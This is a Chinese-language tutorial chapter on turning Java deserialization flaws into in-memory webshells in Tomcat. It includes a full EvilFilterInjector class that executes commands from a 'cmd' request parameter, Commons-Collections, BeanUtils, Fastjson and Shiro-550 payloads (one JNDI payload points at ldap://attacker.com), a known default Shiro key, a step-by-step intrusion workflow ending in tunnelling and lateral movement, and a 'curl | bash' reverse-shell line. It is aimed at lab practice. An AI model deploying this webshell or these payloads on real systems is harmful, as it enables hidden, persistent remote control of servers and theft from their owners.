反序列化是内存马最常见的注入入口。本章讲解如何将内存马与反序列化利用链结合
为什么反序列化 + 内存马?
传统反序列化利用的局限
1
| 反序列化漏洞 → Runtime.exec("curl xxx | bash") → 反弹 Shell
|
问题:
- 目标可能无法出网
- 反弹 Shell 不稳定,断线就没了
- 网络层面特征明显(异常外连)
内存马方案
1
| 反序列化漏洞 → 注入内存马 → 通过正常 HTTP 流量控制
|
优势:
- 不需要目标出网
- 走正常 HTTP 端口,流量隐蔽
- 持久稳定,只要应用不重启就一直在
核心挑战:反序列化中如何注入内存马
反序列化执行代码的方式通常是:
Runtime.exec() —— 只能执行系统命令,无法操作 JVM 内部对象
TemplatesImpl —— 可以加载自定义类并执行,但在静态上下文中
关键问题:反序列化代码执行时没有 request 对象,如何获取 StandardContext?
答案:从线程中获取(见 02-Servlet型内存马 中”从线程中获取 StandardContext”一节)
利用 TemplatesImpl 加载内存马类
TemplatesImpl 原理回顾
TemplatesImpl 内部会调用 defineClass 加载 _bytecodes 中的字节码并调用其 newInstance()
因此可以在恶意类的构造器或 static 块中执行注入逻辑
恶意类设计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| public class EvilFilterInjector extends AbstractTranslet {
static { try { StandardContext context = getStandardContextFromThread();
Filter evilFilter = new Filter() { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; String cmd = req.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); response.getWriter().write(output); return; } chain.doFilter(request, response); } };
FilterDef filterDef = new FilterDef(); filterDef.setFilterName("evilFilter"); filterDef.setFilterClass(evilFilter.getClass().getName()); filterDef.setFilter(evilFilter); context.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("evilFilter"); filterMap.addURLPattern("/*"); context.addFilterMapBefore(filterMap); } catch (Exception e) { e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
private static StandardContext getStandardContextFromThread() throws Exception { ClassLoader cl = Thread.currentThread().getContextClassLoader(); Field resourcesField = cl.getClass().getSuperclass() .getDeclaredField("resources"); resourcesField.setAccessible(true); Object resources = resourcesField.get(cl); Field contextField = resources.getClass().getDeclaredField("context"); contextField.setAccessible(true); return (StandardContext) contextField.get(resources); } }
|
常见反序列化链 + 内存马
CC11(Commons-Collections + TemplatesImpl)
1 2 3 4 5 6 7 8
| ObjectInputStream.readObject() → HashSet.readObject() → HashMap.put() → LazyMap.get() → InvokerTransformer.transform() → TemplatesImpl.newTransformer() → defineClass() + newInstance() → EvilFilterInjector.<clinit>() ← 内存马注入代码
|
CC2(Commons-Collections4)
1 2 3 4 5 6
| ObjectInputStream.readObject() → PriorityQueue.readObject() → TransformingComparator.compare() → InvokerTransformer.transform() → TemplatesImpl.newTransformer() → 内存马注入
|
CB1(Commons-BeanUtils)
1 2 3 4 5 6 7
| ObjectInputStream.readObject() → PriorityQueue.readObject() → BeanComparator.compare() → PropertyUtils.getProperty() → TemplatesImpl.getOutputProperties() → TemplatesImpl.newTransformer() → 内存马注入
|
Shiro 反序列化 + 内存马
Shiro 550(CVE-2016-4437)
1 2 3
| Cookie: rememberMe=<Base64(AES(serialize(payload)))> ↑ 内存马注入 payload
|
特殊考虑
类加载器问题:Shiro 使用自己的 ClassLoader 反序列化,可能无法加载 Tomcat 类
字节码大小限制:Cookie/Header 有大小限制(默认 8KB),内存马类可能过大
解决方案:分段传输类字节码 / 用 defineClass 动态加载 / 使用更短的利用链
Fastjson + 内存马
利用方式1:JNDI 注入
1 2 3 4 5
| { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker.com/EvilFilterInjector", "autoCommit": true }
|
LDAP 服务器返回恶意类 → EvilFilterInjector 被加载执行 → 内存马注入
利用方式2:TemplatesImpl(需要特定条件)
1 2 3 4 5 6 7
| { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["<Base64(EvilFilterInjector.class)>"], "_name": "evil", "_tfactory": {}, "_outputProperties": {} }
|
实战注入流程示例
以 Shiro 550 + Filter 型内存马为例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| 1. 确认 Shiro 漏洞存在 → rememberMe Cookie 响应中包含 deleteMe
2. 确认 Shiro 密钥 → 尝试常见默认密钥(kPH+bIxk5D2deZiIxcaaaA== 等)
3. 确认可用利用链 → CommonsBeanutils1 (Shiro 自带 CB 依赖)
4. 构造内存马注入 payload → CB1 + TemplatesImpl + EvilFilterInjector
5. 发送 payload → Cookie: rememberMe=<加密后的payload>
6. 验证注入成功 → 访问任意 URL,带上 cmd 参数
7. 后续操作 → 上传工具 / 建立隧道 / 横向移动
|
生成 Payload 的工具
ysoserial:经典反序列化 Payload 生成工具,需要修改以支持内存马
**JMG (Java Memory Shell Generator)**:专门生成内存马 payload
Godzilla(哥斯拉):支持内存马
Behinder(冰蝎):支持内存马
suo5:支持内存马隧道
练习
- 使用 ysoserial 的 CommonsCollections2 链,将 payload 改为注入 Filter 型内存马
- 在靶场的 Shiro 环境中,通过 rememberMe Cookie 注入内存马
- 分析 JMG 工具生成的内存马 payload,理解其字节码结构
- 思考:如何让内存马支持加密通信(类似冰蝎/哥斯拉)?